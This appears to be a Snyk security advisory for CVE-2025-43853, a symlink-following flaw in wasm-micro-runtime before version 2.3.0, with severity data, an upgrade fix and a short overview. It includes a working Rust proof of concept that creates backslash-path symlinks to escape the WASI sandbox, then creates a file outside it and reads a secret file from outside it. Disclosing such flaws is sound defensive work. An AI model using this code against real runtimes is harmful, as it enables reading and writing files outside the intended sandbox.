UNIX Symbolic Link (Symlink) Following Affecting bytecodealliance/wasm-micro-runtime package, versions [,2.3.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.03% (6th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-BYTECODEALLIANCEWASMMICRORUNTIME-10332673
  • published9 Jun 2025
  • disclosed15 May 2025
  • creditYage Hu

Introduced: 15 May 2025

CVE-2025-43853  (opens in a new tab)
CWE-61  (opens in a new tab)

How to fix?

Upgrade bytecodealliance/wasm-micro-runtime to version 2.3.0 or higher.

Overview

Affected versions of this package are vulnerable to UNIX Symbolic Link (Symlink) Following via the symlink creation process. An attacker can create or modify files outside of the intended sandboxed directory by creating a symlink that points to an external directory or file.

Note: This is only exploitable if the system is configured to allow symlink creation without proper validation.

PoC

use wasi::{Iovec, OFLAGS_CREAT, RIGHTS_FD_READ, RIGHTS_FD_WRITE};

fn main() {
    let base_fd = 3;

    unsafe {
        // Link containing backslash is ok.
        wasi::path_symlink("..\\f", base_fd, "l0").unwrap();
        // Link pointing to an existing file outside of sandbox.
        wasi::path_symlink("..\\secret", base_fd, "l1").unwrap();

        // Opening l0 creates a file outside of sandbox `f`.
        wasi::path_open(base_fd, 0, "l0", OFLAGS_CREAT, RIGHTS_FD_WRITE, 0, 0).unwrap();

        // Opening l1 opens an existing file outside of sandbox.
        let secret_fd = wasi::path_open(base_fd, 0, "l1", 0, RIGHTS_FD_READ, 0, 0).unwrap();
        let mut buf = [0u8; 32];
        let iovs = [Iovec {
            buf: buf.as_mut_ptr(),
            buf_len: buf.len(),
        }];

        wasi::fd_read(secret_fd, &iovs).unwrap();

        println!("secret: {:?}", buf);
    }
}

References

CVSS Base Scores

version 4.0
version 3.1